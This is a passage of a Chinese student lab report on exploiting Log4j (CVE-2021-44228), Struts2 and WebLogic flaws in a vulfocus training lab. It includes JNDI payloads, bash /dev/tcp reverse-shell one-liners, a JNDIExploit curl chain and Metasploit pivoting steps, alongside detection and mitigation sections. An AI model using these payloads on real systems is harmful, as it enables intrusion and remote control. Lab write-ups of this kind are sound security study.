${jndi:ldap://example.com/a} 的字符串,Log4j 会在记录日志时尝试解析这个字符串。 LOG4J2-313 添加了如下所示的 jndi 查找:“JndiLookup 允许通过 JNDI 检索变量。默认情况下,键的前缀将是 java:comp/env/ ” 当键中存在 : 时,如 ${jndi:ldap://example.com/a} 中那样,就不会有前缀,并且会向 LDAP 服务器查询该对象。这些查找可以在 Log4j 的配置中使用以及在记录行时使用。所以,攻击者只需查找被记录的一些输入,然后添加诸如 {jndi:ldap://example.com/a} 之类的内容。 当 Log4j2 解析这个日志消息时,它会通过 JNDI 向指定的服务器地址发送查找请求。如果攻击者控制的服务器返回一个恶意的 Java 类,这个类会被 Log4j 加载并执行,从而实现远程代码执行(RCE)。 在 GitHub Gist 的页面可以看到,由于Log4j广泛用于各种Java应用程序和服务,因此这个漏洞影响范围非常广泛,包括Web服务器、应用程序服务器、邮件服务器等。 漏洞存在性检测 – 下载 Log4j2 镜像并启动漏洞靶标 : 尝试在 URL 后补充 ‘/hell’ 和 ‘/hello’ : 在 kali 中执行 docker ps 查看正在运行的容器 : Log4j2 对应的容器名称为 eloquent_boyd 进入容器 : 1 docker exec -it eloquent_boyd bash – 发现 demo.jar 文件, 将其拷贝出来 : 1 docker cp eloquent_boyd:/demo/demo.jar ./ – 使用 jd-gui 工具反编译, 查看代码 : 确实发现漏洞. 从源码详细分析漏洞 进行源代码审计 – 1 2 3 4 5 6 #进入 docker 容器中,找到系统中预置的 shell并利用找到 demo.jar cat /etc/shells docker exec -it {container_name} /bin/bash # docker exec -it {container_name} sh # 如果已经预设则可以直接进入shell – java 反编译 – – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package BOOT-INF.classes.com.example.log4j2_rce; import java.io.IOException; import javax.servlet.http.HttpServletResponse; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @SpringBootApplication @RestController public class Log4j2RceApplication { private static final Logger logger = LogManager.getLogger(com.example.log4j2_rce.Log4j2RceApplication.class); public static void main(String[] args) { SpringApplication.run(com.example.log4j2_rce.Log4j2RceApplication.class, args); } @GetMapping({"", "/"}) public String aaa(HttpServletResponse response) throws IOException { response.getOutputStream().write("<h2>Struts Problem Report</h2><br/><a href=\"/hello?payload=111\">我哈哈哈哈</a>".getBytes()); return "<h2>Struts Problem Report</h2><br/><a href=\"/hello?payload=111\">我哈哈哈哈</a>"; } @GetMapping({"/hello"}) @ResponseBody public String hello(String payload) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); logger.error("{}", payload); logger.info("{}", payload); logger.info(payload); logger.error(payload); return "ok"; } } 分析代码 – 根据教学视频中所讲代码中出现漏洞问题是在logger.error,logger.info函数中,但并没讲述原因 – 我进行跟进了解此漏洞原理发现 1 2 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 此代码也有问题 这两行代码分别设置了LDAP和RMI的JNDI配置,允许从不受信任的URL加载代码库 而Log4j2在处理日志消息时它会扫描消息中的${}语法来识别 Lookups 标记,根据 Lookups 标记的类型,调用相应的解析器来获取实际值 1 #Lookups 是一种功能,允许在日志消息中动态地插入特定类型的数据。它们通过`${}`语法嵌入在日志消息中,可以在运行时被替换为相应的值或结果。 – 这里就用到JNDI lookups Log4j2在记录日志时会解析${}中的内容。在这种情况下,它会尝试通过JNDI查找ldap后的内容 如果查找内容是攻击者控制的LDAP服务器,它可以响应一个包含恶意代码的对象。 应用程序加载并执行从恶意服务器返回的代码,从而导致远程代码执行(RCE) 而logger.error/info中所包含的payload可能就是攻击者控制的服务器地址 所以才产生了漏洞 漏洞可利用性检测 使用 dnslog – 打开网站 http://www.dnslog.cn/ , 获取随机子域名 95p55c.dnslog.cn : 根据靶场容器 URL 和获取的子域名,对 payload 字段进行编码, 编码平台可使用 https://www.urlencoder.org/ . 1 2 3 4 5 6 # 编码内容 : ${jndi:ldap://ottlt5.dnslog.cn/dalechu} # 编码结果 : %24%7Bjndi%3Aldap%3A%2F%2F95p55c.dnslog.cn%2Fdalechu%7D # curl 命令 : curl "http://192.168.5.132:50721/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2F95p55c.dnslog.cn%2Fdalechu%7D" – 发现四条解析记录,说明漏洞可利用 : 一开始做的时候根据老师视频演示的代码来做发现运行不了的问题,然后我们查看根据反编译结果发现,缺陷函数用到的是 get 请求方法,所以该环境不能支持 post ,所以我们得换成发送 get 请求 使用 log4j-scan – 下载工具 log4j-scan 并扫描漏洞 : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 git clone https://github.com/fullhunt/log4j-scan.git cd log4j-scan # 安装依赖 pip install -r requirements.txt # 在 log4j-scan.py 的 post_data_parameters 中手动添加 payload 参数或无脑替换 : sed -i.bak 's/password"/password", "payload"/' log4j-scan.py # 将 log4j-scan.py 文件 349 行处的 GET 请求参数中的 `v` 改为 `payload` # 扫描靶场容器, 注意这里使用 get 而不是 post !!! python log4j-scan.py --request-type get -u http://192.168.5.132:49576/hello --dns-callback-provider dnslog.cn – 成功扫描到漏洞 ! 问题 – (1). 有些场景下使用 python3 来执行 log4j-scan.py , 终端不会有任何响应信息, 改为 python 即可正确执行. (2). curl POST 请求不允许 : 按照原教程,使用 curl -X POST 发送请求,但是返回 405 Method Not Allowed 错误。 原因:靶场容器似乎不允许 POST 请求,只能使用 GET 请求 解决:本质上是发送一个包含关键词的 HTTP 请求,可以使用 GET 请求替代 curl "http://192.168.4.129:26678/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2Fxco6xt.dnslog.cn%2Flihan3238%7D" (3). log4j-scan.py 报错 除了上述问题,log4j-scan.py 一开始使用命令 python3 log4j-scan.py --request-type post -u http://192.168.182.129:43381/hello 还有报错 requests.exceptions.ConnectionError: HTTPSConnectionPool(host='interact.sh', port=443): Max retries exceeded with url: /register (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7f8240f643d0>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution')) 原因:log4j-scan.py 代码中 interact.sh 服务器只能通过 HTTP 访问,而脚本默认使用 HTTPS 访问 解决:增加 --dns-callback-provider dnslog.cn 参数,使用 dnslog.cn 作为 DNS 回调服务器 评估漏洞利用效果 配置虚拟机和工具 – 新建一台 kali 虚拟机, 为其配置一块 host-only 网卡, 主机名改为 attacker : 1 2 3 4 5 6 7 hostnamectl set-hostname attacker # 在 /etc/hosts 文件中添加 127.0.0.1 和 attacker 的记录 # 重启系统 # 同样, 另一台虚拟机的主机名改为 victim – 在虚拟机 attacker 上安装 tmux 和 asciinema : 1 sudo apt install tmux asciinema – tmux 的简单使用 : 1 2 3 4 5 6 7 8 9 10 # 建立名为 session_name 的会话 tmux new -s session_name # 先 Ctrl + B, 再 % : 左右分屏 # 先 Ctrl + B, 再 " : 上下分屏 # 先 Ctrl + B, 再 D : 切换回原先终端环境 # 切换回 session_name 会话中 tmux a -t session_name 初试反弹 Shell – 在 attacker 虚拟机中先简单布置两个终端窗口, 一个为 attacker 本身, 另一个通过 ssh 连接到 victim 虚拟机. 在 attacker 终端窗口上 : 1 2 3 4 5 6 7 8 9 10 ip a # 查看 host-only 网卡 IP 地址 nc -l -p 7777 # 当可以进入 victim 虚拟机的容器后 : ls ls /tmp ps aux – 在 victim 终端窗口上 : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 查看当前运行中的容器 sudo docker ps # 复制目标容器名 # 进入容器 agitated_curie 内 sudo docker exec -it agitated_curie /bin/bash # 进入容器后, 执行 : bash -i >& /dev/tcp/192.168.5.134/7777 0>&1 # 这里的 192.168.5.134 为 attacker 虚拟机 host-only 网卡对应 IP 地址 # 启动一个交互式的 bash shell. 将该 shell 的标准输入、标准输出和标准错误重定向到通过 TCP 连接到 192.168.5.134:7777 的套接字 # 这样,任何从 192.168.5.134 上的 7777 端口发送的数据都会作为 bash shell 的输入,bash shell 的输出也会发送回 192.168.5.134 上的 7777 端口 – 录制的 asciinema 视频 : 基于 JNDIExploit 反弹 Shell – 在 attacker 虚拟机中下载 JNDIExploit.v1.2.zip, 解压缩, 计算校验和 : 尝试反弹 Shell : 这里使用 tmux 分割三个终端, 分别执行以下命令 : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 开启 JNDI 服务 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.5.134 # 监听端口,等待靶标容器连接 nc -l -p 7777 # 发送包含访问恶意命令( Base64 编码的反弹 Shell 命令)地址的 HTTP 请求 sudo apt install xxd # 使用教程中的命令格式报错了, 发现是这里又出现了 POST 请求不允许的情况,于是使用 GET请求进行替代 # 这里还出现了 URL 编码问题, 改为 GET 请求后,Bash 命令的 Base64 编码也需要修改, 如下 : SHELL_COMMAND="bash -i >& /dev/tcp/192.168.5.134/7777 0>&1" && BASE64_PAYLOAD=$(echo -n "$SHELL_COMMAND" | base64 -w 0 | sed 's/+/%2B/g' | sed 's/=/%3d/g') && TARGET_URL="http://192.168.5.132:53860/hello" && FULL_PAYLOAD="\${jndi:ldap://192.168.5.134:1389/TomcatBypass/Command/Base64/${BASE64_PAYLOAD}}" && URL_FULL_PAYLOAD=`echo ${FULL_PAYLOAD} | xxd -plain | tr -d '\n' | sed 's/\(..\)/%\1/g' ` && curl "${TARGET_URL}?payload=${URL_FULL_PAYLOAD}" – flag 即为 : flag-{bmh95894fd4-c71c-4ad5-b1eb-83b886126dcf} – asciinema 录屏 : 问题 – GET 请求命令的编码问题 原先的 curl http://192.168.182.129:43381/hello -d 'payload=${jndi:ldap://192.168.182.130:1389/TomcatBypass/Command/Base64/'$(echo -n 'bash -i >& /dev/tcp/192.168.182.130/7777 0>&1' | base64 -w 0 | sed 's/+/%252B/g' | sed 's/=/%253d/g')'}' 命令执行失败 : 注意到这里又出现了 POST 请求不允许的情况,根据昨天的经验,使用 GET 请求替代: 1 curl "http://192.168.4.129:43381/hello?payload=${jndi:ldap://192.168.182.130:1389/TomcatBypass/Command/Base64/'$(echo -n 'bash -i >& /dev/tcp/192.168.182.130/7777 0>&1' | base64 -w 0 | sed 's/+/%252B/g' | sed 's/=/%253d/g')'}" 发现又无效,原因是 URL 编码问题: When making a request to an API, the parameters included in the URL request may contain characters that have special meaning for the web server. URL encoding allows the browser or web server to safely transfer this data , as it converts all special characters and spaces into a format that web browsers can understand. What is URL encoding? - LocationIQ 同时,注意到改为 GET 请求后,Bash 命令的 Base64 编码也需要修改,摸索了一下,最终成功写出 Bash 命令 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 反弹 Shell 命令 SHELL_COMMAND="bash -i >& /dev/tcp/192.168.182.130/7777 0>&1" # Base64 编码 BASE64_PAYLOAD=$(echo -n "$SHELL_COMMAND" | base64 -w 0 | sed 's/+/%2B/g' | sed 's/=/%3d/g') # 拼接 URL TARGET_URL="http://192.168.182.129:43381/hello" FULL_PAYLOAD="\${jndi:ldap://192.168.182.130:1389/TomcatBypass/Command/Base64/${BASE64_PAYLOAD}}" # URL 编码 URL_FULL_PAYLOAD=`echo ${FULL_PAYLOAD} | xxd -plain | tr -d '\n' | sed 's/\(..\)/%\1/g' ` # 发送 GET 请求 curl "${TARGET_URL}?payload=${URL_FULL_PAYLOAD}" # curl 的 GET 请求 # http://192.168.182.129:43381/hello?payload=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%38%32%2e%31%33%30%3a%31%33%38%39%2f%54%6f%6d%63%61%74%42%79%70%61%73%73%2f%43%6f%6d%6d%61%6e%64%2f%42%61%73%65%36%34%2f%59%6d%46%7a%61%43%41%74%61%53%41%25%32%42%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%45%34%4d%69%34%78%4d%7a%41%76%4e%7a%63%33%4e%79%41%77%50%69%59%78%7d%0a # 一行命令 SHELL_COMMAND="bash -i >& /dev/tcp/192.168.182.130/7777 0>&1" && BASE64_PAYLOAD=$(echo -n "$SHELL_COMMAND" | base64 -w 0 | sed 's/+/%2B/g' | sed 's/=/%3d/g') && TARGET_URL="http://192.168.182.129:43381/hello" && FULL_PAYLOAD="\${jndi:ldap://192.168.182.130:1389/TomcatBypass/Command/Base64/${BASE64_PAYLOAD}}" && URL_FULL_PAYLOAD=`echo ${FULL_PAYLOAD} | xxd -plain | tr -d '\n' | sed 's/\(..\)/%\1/g' ` && curl "${TARGET_URL}?payload=${URL_FULL_PAYLOAD}" # 注意 ! 这么强悍的一行命令是我们的 lihan3238 同学亲自手搓出来的 ! 代价是他整整研究了一个下午 ! – 网卡状态失效 本来配置了 host-only 网卡 eth0 和 NAT 模式网卡 eth1, 但 kali 开机后, 使用 ip a 命令查看 IP 地址, 发现这两块网卡的 state 都是 DOWN, 正常网卡应该是 UP 的. 尝试解决这个问题 : 以 eth0 为例, 临时方案 : 1 2 sudo ip link set eth0 up # 将网卡 eth0 设置为 UP sudo dhclient eth0 # 获取 IP 地址 完全解决方案 ( Kali Linux 2023.4 版本可行 ) : 1 2 3 4 5 # 编辑 /etc/network/interfaces 文件, 添加 : auto eth0 iface eth0 inet dhcp # 如此, 系统启动时会自动启用网络接口 eth0, 并使用 DHCP 分配 IP 地址 漏洞利用流量检测 – 1 2 3 4 5 6 7 8 9 10 11 # 启动 suricata 检测容器, 此处 eth1 为 victim 虚拟机的 host-only 网卡 docker run -d --name suricata --net=host -e SURICATA_OPTIONS="-i eth1" jasonish/suricata:latest # 更新 suricata 规则,更新完成测试完规则之后会自动重启服务 docker exec -it suricata suricata-update -f # 重启 suricata 容器以使规则生效 docker restart suricata # 在重复上次 jndi 渗透过程同时, 开辟新的 victim 终端窗口来监视 suricata 日志 : docker exec -it suricata tail -f /var/log/suricata/fast.log – asciinema 录屏 : 漏洞利用防御与加固 – 这张图表展示了Log4j JNDI攻击的原理和防御方法: – 攻击者发起请求 攻击者在 HTTP 请求的头字段(例如 User-Agent)中插入一个包含 JNDI 查找的字符例:User-Agent: ${jndi:ldap://evil.xa/x} 防御措施:使用 WAF(Web应用防火墙)拦截此类恶意请求。 日志记录 易受攻击的服务器接收到请求,并将包含 JNDI 查找的字符串传递给 Log4j 进行日志记录。 防御措施:禁用 Log4j 或更新 Log4j 到修复版本。 Log4j 处理请求 log4j 解释该字符串,并尝试查询恶意的 LDAP 服务器以获取更多信息。 防御措施:禁用 JNDI 查找功能。* 查询恶意 LDAP 服务器 Log4j 向恶意 LDAP 服务器发送查询请求,获取恶意的 Java 类。 防御措施:确保 LDAP 查询指向可信的内部服务器或禁用远程代码库。* Java 反序列化恶意代码 恶意 LDAP 服务器响应目录信息,包含恶意 Java 类的位置。Java 反序列化该类并执行其中的恶意代码。 防御措施:禁用远程代码库功能,确保反序列化过程的安全。* 漏洞缓解办法 – 在之前的报告中了解了此漏洞的原理,我尝试深入理解代码原理进行漏洞修复 代码文件demo.jar 我们找到BOOT-INF/classes/com.example.log4j2_rce LEVEL – 经过上网资料查找我了解到 1 2 log4j2支持多种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:`fatal(致命的)`, `error`, `warn`, `info`,` debug`, `trace`(堆栈)。 log4j2还定义了一个内置的标准级别`intLevel`,由数值表示,级别越高数值越小。 当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小 – 在网上调研时我找到log4j2的一个缺省的配置文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # log4j2.xml <?xml version="1.0" encoding="UTF-8"?> <configuration status="error"> <appenders> <!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT--> <Console name="Console" target="SYSTEM_OUT" > <!-- 配置Console的模式布局--> <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/> </Console> </appenders> <loggers> <root level="error"> <appender-ref ref="Console"/> </root> </loggers> </configuration> – 这个配置文件在我们实验环境中没有存在,在这个文件中,比较关键的是他设置了logger触发的默认等级为 <root level="error"> 只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走 而在我进行dnslog测试的时候发现 有两条返回值,说明logger.info函数也执行了(‘info’>‘error’)。也就说明默认等级是info – 在我对代码进一步研究的时候,我发现一个名叫LowLevelLogUtill.class 的文件 文件注释中解释了这段代码的作用 ,他将低等级的代码用另一种方式简单记录下来 那在log4j2.xml文件中将默认等级设为0,那日志记录时logger调用的就是这个函数,也就不会触发漏洞。 缺点就是此函数记录日志的方式简单,无法处理复杂的日志 JNDI – 我们知道log4j2 CVE-2021-44228 漏洞核心问题在于JNDI lookup 那我就从这里入手 看到代码 1 2 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); – 我询问了gpt里面变量代表的是设置了LDAP和RMI的JNDI配置,允许从不受信任的URL加载代码库,com.sun.jndi.ldap.object.trustURLCodebase是一个Java系统属性。当设置为true时,它允许JNDI在LDAP查找过程中从URL加载远程代码库 这两个设置都是安全风险,因为它们允许远程服务器提供的代码在本地执行,这可能被攻击者利用进行远程代码执行(RCE)攻击。 那我将这些属性设置为false理论上就终止了lookup对远程进行查询 但在实际实验过程中我将漏洞文件demo.jar反编译以后打包到本地进行修改又编译为demo1.jar传到虚拟机进行检测时发现无法解析编译 – 在主机上编译又有许多报错,我猜测可能是版本问题 那我就从本质入手,直接禁用JNDIlookup。 – 在我对代码的寻找中找到了JNDIlookup.class 简单粗暴,我一层一层的解压找到class文件直接删除,然后放到docker容器里面替换demo.jar运行出现报错 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Exception in thread "main" java.lang.IllegalStateException: Failed to get nested archive for entry BOOT-INF/lib/jackson-annotations-2.9.0.jar at org.springframework.boot.loader.archive.JarFileArchive.getNestedArchive(JarFileArchive.java:108) at org.springframework.boot.loader.archive.JarFileArchive.getNestedArchives(JarFileArchive.java:86) at org.springframework.boot.loader.ExecutableArchiveLauncher.getClassPathArchives(ExecutableArchiveLauncher.java:70) at org.springframework.boot.loader.Launcher.launch(Launcher.java:49) at org.springframework.boot.loader.JarLauncher.main(JarLauncher.java:51) Caused by: java.io.IOException: Unable to open nested jar file 'BOOT-INF/lib/jackson-annotations-2.9.0.jar' at org.springframework.boot.loader.jar.JarFile.getNestedJarFile(JarFile.java:256) at org.springframework.boot.loader.jar.JarFile.getNestedJarFile(JarFile.java:241) at org.springframework.boot.loader.archive.JarFileArchive.getNestedArchive(JarFileArchive.java:103) ... 4 more Caused by: java.lang.IllegalStateException: Unable to open nested entry 'BOOT-INF/lib/jackson-annotations-2.9.0.jar'. It has been compressed and nested jar files must be stored without compression. Please check the mechanism used to create your executable jar file at org.springframework.boot.loader.jar.JarFile.createJarFileFromFileEntry(JarFile.java:284) at org.springframework.boot.loader.jar.JarFile.createJarFileFromEntry(JarFile.java:264) at org.springframework.boot.loader.jar.JarFile.getNestedJarFile(JarFile.java:252) ... 6 more 这个错误提示表明在 Spring Boot 可执行 JAR 文件中,BOOT-INF/lib/jackson-annotations-2.9.0.jar 文件被压缩了,而 Spring Boot 期望嵌套的 JAR 文件是未压缩的。这是因为 Spring Boot 的 JAR 文件加载器不支持解压缩嵌套的 JAR 文件。 – 我觉得是我jar压缩出来的格式不对,我压根没动过jackson-annotations-2.9.0.jar。而且在此之前系统莫名其妙将META-INF/MANIFEST.MF的文件内容给我改了,这一条路也就不了了之. 那我就选择从系统入手,在上网查阅资料后发现有三种方法 1.采用人工方式禁用JNDI,例:在spring.properties中添加spring.jndi.ignore=true 2.修改 jvm 参数:-Dlog4j2.formatMsgNoLookups=true 1 export JAVA_OPTS="$JAVA_OPTS -Dlog4j2.formatMsgNoLookups=true" 3.将系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS 设置为 true 三种方法中最权威也是最快捷的方法就是改环境变量,但在实验下来以后发现把靶机,容器,镜像环境变量改了重启还是会攻击成功,但dnslog中只有一条回显。 修改jvm参数执行demo.jar发现攻击失败并且流量检测检测到了攻击,该方法是唯一一次成功缓解攻击的 跨网段多靶标攻防实验 部署 DMZ 场景 – 在 vulfocus 的本地管理页面的左侧导航菜单里依次找到并点击:场景管理、环境编排管理。 在主窗口中点击 添加场景 ,选择 创建编排模式 。 在打开的拓扑编辑页面,点击 上传 按钮,选择当前目录下的 DMZ.zip 上传。 返回 环境编排管理 页面,点击刚才创建成功的场景缩略图上的 发布 按钮。 发布成功后,通过左侧导航菜单里的 场景 找到刚才发布成功的场景缩略图,点击后进入场景详情页面,点击 启动场景 。 注意访问地址不是场景详情页面上显示的,请自行替换为 vulfocus管理页面的访问IP:场景详情页面上显示的端口号 。 – 这里发现镜像 vulfocus/struts2-cve_2020_17530 对应容器的 CONTAINER ID 为 12499e844404, 下面尝试捕获指定容器的上下行流量 : 1 2 3 4 5 # 建议放到 tmux 会话 container_name="12499e844404" docker run --rm --net=container:${container_name} -v ${PWD}/tcpdump/${container_name}:/tcpdump kaazing/tcpdump # 置于后台, 快捷键 Ctrl + B, D – – 问题 部署 DMZ 场景, 一直失败. 请教老师后, 发现我的两位室友也都遇到了同样的问题哈哈, 需要自己写一个 dockerfile, 将 vulshare/nginx-php-flag 容器中的 /2.sh 的 ping aa.25qcpp.dnslog.cn 命令删去即可 ( 因为无法 ping 通 ). 但是当我回到宿舍中, 还没动手修改, 却发现此能跑通了 ! 即宿舍网环境中能正常 ping 此域名 : 攻克第一个标靶 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 切换到攻击者主机 attacker 进行 metasploit 基础配置 # sudo apt install -y metasploit-framework # 在 2024 版本 kali 中, metasploit-framework 是自带的, 无需再手动安装. # 初始化 metasploit 本地工作数据库及启动 : sudo msfdb init && msfconsole # 确认已连接 pgsql db_status # 建立工作区 workspace -a demo # 查看工作区 workspace -l – 原先的 attacker 虚拟机运行 msfconsole 命令报错了, 查阅诸多方法无法解决, 遂使用新虚拟机作为 attacker 了 : – 收集信息, 寻找合适的 exp : 1 2 3 4 5 6 7 8 9 10 11 # search exp in metasploit search struts2 type:exploit # 查看模块信息, 参数选择 exploit/multi/http/struts2_multi_eval_ognl 对应的序号 info <编号> # 根据输出内容, 继续完善搜索关键词 : search S2-059 type:exploit # 使用此 exp use <编号> – 1 2 3 4 5 # 查看 payloads 列表 show payloads # 使用合适的 payload set payload payload/cmd/unix/reverse_bash – 设置好靶机 ip, 端口等信息 : 1 2 3 4 5 6 7 8 9 10 11 # 靶机 IP set RHOSTS 192.168.5.132 # 靶机目标端口 set rport 43067 # 攻击者主机 IP set LHOST 192.168.5.135 # 查看参数列表, 确认一遍 show options 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # getshell exploit -j # 如果攻击成功,查看打开的 reverse shell sessions -l # 进入会话 1 sessions -i 1 # 无命令行交互提示信息,试一试 Bash 指令 # 寻找 flag ls /tmp #挂后台 # 快捷键 Ctrl-Z, Y – 发现 flag-{bmh5385b98e-4e60-4423-8c7f-6d01adb1b517} ! – asciinema 录屏 ( 为 lihan3238 记录, 部分参数与当前报告不同, 但过程一致 ) : 寻找靶标 2 ~ 4 – 这里需要将已获得的 1 号会话即外层主机 shell 升级为 meterpreter meterpreter 是 Metasploit 框架中的一个高级 payload,提供了一个强大的内存驻留 shell,允许攻击者在目标系统上执行各种命令和脚本,而不会在目标系统的硬盘上留下痕迹. 它具备强大的后渗透功能,可以帮助攻击者在目标系统上进行广泛的操作. 与控制台之间的通信经过加密,防止流量被拦截和分析. 1 2 3 4 5 6 # upgrade cmdshell to meterpreter shell sessions -u 1 sessions l sessons -i 2 – 进入 meterpreter 会话后 : 1 2 3 4 5 6 7 8 # 查看网卡信息 ipconfig # 查看路由表 route # 查看 ARP 缓存 arp – 1 2 3 4 5 6 7 # 根据上面的内容, 创建路由 : run autoroute -s 192.175.84.1/24 # 检查 Pivot 路由是否已创建成功 run autoroute -p # 挂后台, 快捷键 Ctrl-Z, Y – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 search portscan use auxiliary/scanner/portscan/tcp show options # 根据子网掩码推导 set RHOSTS 192.175.84.2-254 # 根据「经验」 set ports 7001 # 根据「经验」 set threads 10 run -j hosts – – 1 2 3 4 5 6 7 8 9 10 11 # 查看发现的服务列表 services # 建立 socks5 代理 search socks_proxy use auxiliary/server/socks_proxy run -j # 查看后台建立 socks5 代理是否成功 jobs -v – 1 2 3 4 5 6 7 8 9 # 开启新的终端窗口 # 查看 1080 端口 sudo lsof -i tcp:1080 -l -n -P # 编辑 /etc/proxychains4.conf sudo sed -i.bak -r "s/socks4\s+127.0.0.1\s+9050/socks5 127.0.0.1 1080/g" /etc/proxychains4.conf # 使用 proxychains 命令扫描内网主机 proxychains sudo nmap -vv -n -p 7001 -Pn -sT 192.175.84.2-5 – 1 2 3 4 5 6 7 8 9 10 # 回到 metasploit 环境 # 进入 sessions 1 会话 sessions l sessions -i 1 curl http://192.175.84.2:7001 -vv curl http://192.175.84.3:7001 -vv curl http://192.175.84.4:7001 -vv curl http://192.175.84.5:7001 -vv – asciinema 录屏 ( 为 lihan3238 记录, 部分参数与当前报告不同, 但过程一致 ) : 攻破靶标 2 ~ 4 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # search exploit search cve-2019-2725 # getshell use 0 set lhost 192.168.5.135 set RHOSTS 192.175.84.2 # set RHOSTS 192.175.84.3 # set RHOSTS 192.175.84.4 # 分别设置不同的靶机 IP show options # 分别 run run -j # get flag2-4 sessions -c "ls /tmp" -i 3,4,5 – – 来看最终输出结果吧 ! – asciinema 录屏 ( 为 lihan3238 记录, 部分参数与当前报告不同, 整体过程一致 ) : 攻克靶标 5 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 查看三台靶机的 IP 配置,并发现 session 5 的主机有三个网卡,说明该主机同时又在另一个网段底下,所以 session 5 内连接的这台主机可以考虑作为跳板主机,即 192.175.84.5 sessions -c "ifconfig" -i 3,4,5 # session 5 升级,并生成 session 6 sessions -u 5 # 进入 session 6 ( 即进入跳板主机内,该跳板主机另一张网卡的 IP 是 192.176.85.2 ) sessions -i 6 # 将新发现的子网加入 Pivot Route run autoroute -s 192.176.85.0/24 # 检查新发现的子网是否加入成功,留意一下输出结果的子网掩码 run autoroute -p # 按快捷键 CTRL-Z , Y 置于后台 – – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # 再次使用端口扫描服务 use scanner/portscan/tcp # 根据上面的子网掩码推出来的扫描范围 set RHOSTS 192.176.85.2-254 # 扫描端口设置为 80 set ports 80 # 开始扫描 run # 查看服务列表 services # 查看该网段下存活主机 hosts # 再次进入会话 6 sessions -i 6 – 注意到这里开放了 80 端口的 ip 是 192.176.85.3 ! 1 2 3 4 5 6 7 sessions -c "wget http://192.176.85.3" -i 6 # 发现没有命令执行回显,试试组合命令 sessions -c "wget http://192.176.85.3 -O /tmp/result && cat /tmp/result" -i 6 # 发现 get flag 提示 sessions -c "wget 'http://192.176.85.3/index.php?cmd=ls /tmp' -O /tmp/result && cat /tmp/result" -i 6 – 发现 flag-{bmh516b6e99-fcae-4f36-9beb-e6a1d37d58e0} ! DMZ 场景五面 flag 全部找到 ! 初步完成实验 ! – asciinema 录屏 : 问题 – nginx-php-flag 镜像的容器启动失败 : 原因:查看容器日志发现有失败的 ping 的记录; 进而进入容器查看,发现有一个 2.sh 的文件中包含 ping aa.25qcpp.dnslog.cn,实际上 ping 不通; 解决:修改 ping aa.25qcpp.dnslog.cn 为ping 127.0.0.1,保证容器持续运行,重新构建镜像并运行容器. ( 或者改为 tail -F /test , 表示持续监控指定文件 /test 的末尾内容,并实时输出到终端, 这也满足了容器一直运行的需求 ) – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 2.sh #!/bin/bash /etc/init.d/nginx start && /etc/init.d/php7.2-fpm start && ping 127.0.0.1 # Dockerfile FROM vulshare/nginx-php-flag:latest COPY ./2.sh /2.sh RUN chmod +x /2.sh CMD ["/2.sh"] # 构建镜像 docker build -t vulshare/nginx-php-flag:latest . # 重新启动场景 多网段渗透场景的流量分析 分析准备 – kali@targetserver ( 即 kali@victim ) 提取抓取的流量文件 tcpdump.pcap, 使用 wireshark 分析流量 – 从 官网 下载安装 zeek 工具来分析流量 1 2 3 4 5 6 7 8 9 10 11 12 git clone --recursive https://github.com/zeek/zeek ./configure && make && sudo make install # 编辑 /usr/local/zeek/share/zeek/site/local.zeek ,在文件尾部追加两行新配置代码 @load frameworks/files/extract-all-files @load mytuning.zeek #在 /usr/local/zeek/share/zeek/site 目录下创建新文件 mytuning.zeek ,内容为: zeek -r tcpdump.pcap /usr/local/zeek/share/zeek/site/local.zeek # 运行 `zeek` 分析流量 zeek -r ./tcpdump/[]/tcpdump.pcap struts2-cve_2020_17530 分析 – wireshark 分析 根据前面使用 msfconsole 利用 struts2-cve_2020_17530 漏洞攻击 victim-1 的 multi/http/struts2_multi_eval_ognl 模组的源码 : 1 2 3 elsif cve == 'CVE-2020-17530' http_request_parameters['method'] = 'POST' http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" } 使用 urlencoded-form.value contains "%{" 